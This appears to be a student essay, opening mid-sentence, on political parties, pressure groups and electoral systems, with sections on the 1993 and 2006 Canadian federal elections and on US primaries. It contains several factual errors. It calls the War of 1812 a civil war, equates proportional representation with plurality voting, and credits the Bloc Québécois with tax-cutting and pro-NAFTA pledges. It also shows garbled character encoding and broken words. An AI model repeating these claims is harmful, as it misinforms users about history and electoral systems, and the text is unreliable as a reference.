in polit ical rallies, nominations, electoral campaigns and national elections. They are termed as vehicles trough which political leaders gain power and get their positions in government. Political parties are essential in management of public affairs. The origin of political parties is said to be politics of the United States and its forefathers who were revolutionaries like Washington, Jefferson, Adams and Hamilton. The first parties were formed in 1796 in America’s formative years, the two groups were conflicting on how the new government was to formed, the federalists wanted a central government and supported the ratification of the constitution, industrialization, a national bank and building of roads and canals. The anti federalists in contrast wanted rights of the state in manufacturing and was opposed to the government building roads and other moneyed interests. The group evolved to be the Democratic Republican Party and ascended to power in the1800 election. The federalists achieved their objective for a constitution and after that the party weakened. After the civil war in 1812, the Democratic Republican Party was divided over the issue of who to support for the primary election. There were also other issues like slavery which brought controversies which led to some members breaking out and went to form smaller parties and among them was a major party the Whig party. It was much financed because it was led by wealthy business men. Democrats who were against slavery left the party and together with other small parties they formed the Republican Party. The two parties are still America’s major parties until today in a multiparty system in place. There are many types of parties today but the main distinction between them is cadre and mass based parties. The two forms can be found in one county, but there are also other categories such as communists, socialist, conservative and liberal. All this characteristics can sometimes be found in one party hence they are not specific. Functions of political parties Political parties are vital especially in democracies, because they aggregate and articulate the needs of the people and are avenues for political debates and discussions in the society. They draw people with similar ideologies and interests together and provide them with a means through which they can acquire political power. In addition, they provide an opposition to the government hence keeps it on its toes enabling good public service. They also educate and socialize the people about political issues and the electoral systems in order to enable the people make informed political decisions and take viable options. Another factor that determines the nature of political parties’ is political systems; the main ones are single, two parties and multi- party systems. In single systems there is only one political party which is legal and dominant, it is common in communist countries like china and Nazi Germany, position s in the party are highly valued the system is associated with tyranny and dictatorship. The two party systems have two dominant parties; plurality voting system is the major of the system existence and is mainly found in United States and Britain. The multiple system is characterized of many parties and coalition governments are common due to differences between parties. The history of Canada’s political parties The history of Canada’s political parties is traced back to when it was a colony of Britain and France. During the American Revolution loyalists migrated to Canada and a majority of them believed there was a need for a governing class which was to be comprised of the chief families and wealthy business men. After the 1812 war, there were two groups the reformers and the conservatives. The reformers opposed the ruling class idea and the special privileges they were accorded, thus they advocated for equal rights. They staged a rebellion to oppose this issue but it failed to achieve its objectives. Since then Canada has been characterized by liberalism and conservatism a factor that has shaped the country’s politics until today. Pressure groups Pressure groups are people that are organized and aim to influence the government’s decisions and policies or sometimes focus on an issue and pursue it. Pressure groups and political parties have many differences both in structure and function .Political parties focus on attaining power and maintaining it while pressure groups focus on national interest. Some promote a particular issue while others deal with issues as they come. Pressure groups influence policy formulation and implementation in various countries, they provide substantive information to the decision makers, offer campaign finance and carry out lobbying activities. Some of the successful groups in Canada fight for the rights of women, gender representation, free health care and education for the less fortunate. Currently there are pressure groups pursuing issues like, abortion, the environment, gun control, and capital punishment (Guy 148). Elections and Electoral Systems Psephology is the study of statistical analysis of elections and the word itself has its origin from the Greek language and it means ballots .The analysis uses several elements such as opinion polls, voter’s returns in previous elections, campaign finance and any statistical data about elections. The various applications used in the analysis are Gallagher index, Mackerras pendulum and the swinggometer Concepts of voluntary and compulsory voting Elections are held to determine who is best fit to govern a country among the contesting candidates. The vote of each and every citizen is very important since every vote casted determines the result of the election and hence participating in the decision making process. However it is a personal choice whether to vote or not, although in some countries people are forced to vote. There is two voting systems voluntary and compulsory, in compulsory voting citizens are forced to vote or attend a polling station on the voting day failure to which one is punished through fines, community service or even imprisonment if the first two are not done. Those that do not want to vote can go with the ballot paper or spoil it at the polling station, because the important thing is that they get to the polling station. The old and the sick are provided with mobile polling booths so that they also get a chance to vote and are assisted on how to do it. The main argument for the system is that it prevents access to the vote and prevents any factors that may make people not to vote for example employers, transport and weather. It is a measure to involve the socially disadvantaged or politically inactive, enables the population to be politically active, decreases the role of money in politics since not much campaign is done and also reduces the risk of political instability created b y charismatic leaders like Hitler. Arguments against it term it as a violation of citizen’s freedoms and may also lead to donkey voting which may affect the electoral process. The system is commonly found in Australia In voluntary voting people are allowed to vote according to their own wish, it is the system used in many countries for example the America, Canada Britain, Spain and Italy among others Electoral systems An electro system is a method by which people vote in an election or referendum, the system comprises of the rules of voting ,counting of votes and the final result. The voting system also determines the form of ballot, allowable votes and the subgroups of voting. The major voting systems are the, majority system, proportional representation also called plurality and the fast past the post voting systems. The electro system of a country affects the outcome of the election due to the rules that are used, but still the exact amount of influence is difficult to tel l since each election has its own features and dynamics. In the majority system only one representative is to be elected and that would be the most qualified personality. The system gives the big parties a greater chance to win the election while the smaller parties are marginalized, although this system also creates a stable parliamentary majority but still does not represent a pluralistic modern society. The method appears to be straightforward and simple but in the end it leads to complicated policies that are not transparent to voters and hence compromises democracy. The proportional representation method ensures that each vote made counts; it’s an hybrid of single and majority system. All parties present a list of candidates and then voters are allowed select a list hence they vote for the parties not the aspirants. The parties are then given seats according to the number of votes they get; this is because political parties’ present ideas of governance and the mor e the better since small parties gain power and it ensures democracy and proportionality, although it can lead to a weak government. Since coalitions are common, independent candidates do not also get a chance and the link of a representative and his party is lost. It is common in developed western countries like Switzerland (Guy 178). Canada 1993 Federal Election Canada federal elections are nationwide elections done to elect their leaders. The election may be called any time but a least one must be held in a span of five years and past the post system of voting is used. A federal election was held in 1993 to elect the members of the House of Commons with fourteen parties being involved in the election, it was one of Canada’s eventful elections because more than half of the electorate changed parties. The election was called by the by Prime Minister Kim Campbell when she was almost to exit office. She wanted to help her party the progressive conservative party to win in the elections but they gravely lost. Two new parties were formed leading to the division of the conservatives into: â€Å"the Bloc Quà ©bà ©cois, which gathered about half of the votes in Quebec and the Western based Reform Party which gathered about equal number of seats.† During the campaigns the Liberals were very consistent and organized in contrast to the Conservative campaign. â€Å"The Liberals came up with a manifesto, which was exceptional to the other parties’ and provided a new limited public works program and a national child care program. The Bloc Quà ©bà ©cois pledged to support interests at the federal level, by running candidates exclusively in Quebec while fighting for Quebec’s independence from Canada, they also promised to create a smaller government, lower taxes, support the North American Free Trade Agreement, and oppose the Goods and Services Tax† (Guy 145). The liberal party won because they had a strong base in the two major provin ces Quebec and Ontario. They dominated Canada’s elections for the next decade until they were greatly challenged by the sponsorship scandal and fighting within the party which reduced them to a minor party. The primaries in the United States The United states primaries is one of the initial stages in the election of their president, they are run by state and the local governments and are used to determine how many delegates each candidate will receive from the state. The two main political parties nominate the aspirants they want for president at the national conventions, the nominated candidate is then voted for by the voters, hence ensuring that the candidates are chosen by the voters’ not party leaders. There are two ways of voting in the primaries. Guy says† in open primaries, voters engage in one of the primary elections, irrespective of their party and they are not required have to make a public statement of their party choices, but they have to decide whic h primary election they want to vote in that particular election.† This way they do not have to publicly declare their choice and also it enables the candidates to get a chance to be chosen despite their political affiliation. Guy also points out that† the closed primary election system is very restrictive in terms of participation, only party members are allowed to vote, and voters can not switch parties on the primary election day†. The proponents of these system say that it enables; voters to have more power in the candidate selection process hence reducing the power of party leaders and also reduces the influence of organizations, it also enables them to intensify their campaigns and mobilize new supporters while the tiring election campaign during the primaries prepares the candidates for the competition with their opponent(s) in the general election. However, there are some critics about the system; people say that states are not true representative of the st ate and therefore advocate for a single national primary, candidates also have to spend large amounts of money for primary election campaigns before the general election campaign starts, hence creating moneyed politics, the candidates must also strive to get positive media coverage, they also have to make early relations and networks with the members of their parties to gain support for the primary elections. The system in my opinion has greater advantages than disadvantages and more countries should think of establishing it as a method of choosing their candidates (Guy 220). Conventions and debates in Canada and United States Guy says that† another characteristic of the United States presidential nominating process is a national convention which is held every four years by the parties that intend to have a candidate in the national elections†. The purpose is to elect a party nominee for the position. National conventions in Canada are the same with those of the United S tates; the only difference is that delegates to choose the party leader are elected by associations like women groups and young clubs. The conventions in both are aimed at selecting the best candidates for the job and to foster democracy. There are also debates held before the general elections involving the two final candidates of the major parties. They are not very essential but are necessary so as to enable the voters to know clearly the intentions of the candidates once they are elected and also create a chance for the candidates to challenge each other publicly. In the 1992 elections of the united states, there were three candidates, George Bush of the republican party, Bill Clinton for the Democrats and Ross Perot of the independent party. The democrats won because there had been some huge economic problems facing the country under the leadership of the republicans and people did not trust them to re-elect them again having been in office for twelve consecutive years. In that election, Democrats gained full support of the legislature, executive and both houses of US Congress, and also won the 1996 re-election. Canada 2006 Federal Election In Canada, minority governments happen when no party has managed to convincingly has garnered majority of the votes in the legislative house, thus the party with a majority seats forms the next government. However, minority governments should have backing of the other parties to remain in authority, thus they are less stable as compared to majority governments. Guy (236) states that â€Å"The current Prime Minister of Canada is Stephen Joseph Harper who is also the leader of the Conservative Party that won the 2006 federal elections whereby the party was formed after a merge of the Progressive Conservative and Canadian Alliance parties.† Harper dominated media coverage, the first weeks of the campaign and although his party faired baldly in the polls, Harpers personal polls, started to go up. To counteract this, the Liberals started propaganda against the Prime Minister, but these did not change Canadians’ perception as Harper was a popular leader. Guy (56) also noted that â€Å"The Conservatives gathered more than 38 per cent of the popular vote, an increase of seven per cent from 2004 election; while the Liberals came second with 30 per cent and the NDP third with 17.5 per cent.† Canada has much trust in their current prime minister for he has shown he is a rare leader who has even won many awards including the Presidential Gold Medallion for Humanitarianism by Bnai Brith International which has never been awarded to any one in Canada. He has also led the conservatives into forming the best government in Canada, through his desire to turn the Canadian senate into an elected rather than an appointed body. The Conservative Party won a stronger minority in the October 2008 federal election, but going by factors the party is likely to win a majority vote in the next election (G uy 345). Work Cited Guy, James. People, Politics, and Government. Ontario: Pearson Education, 2010. Print.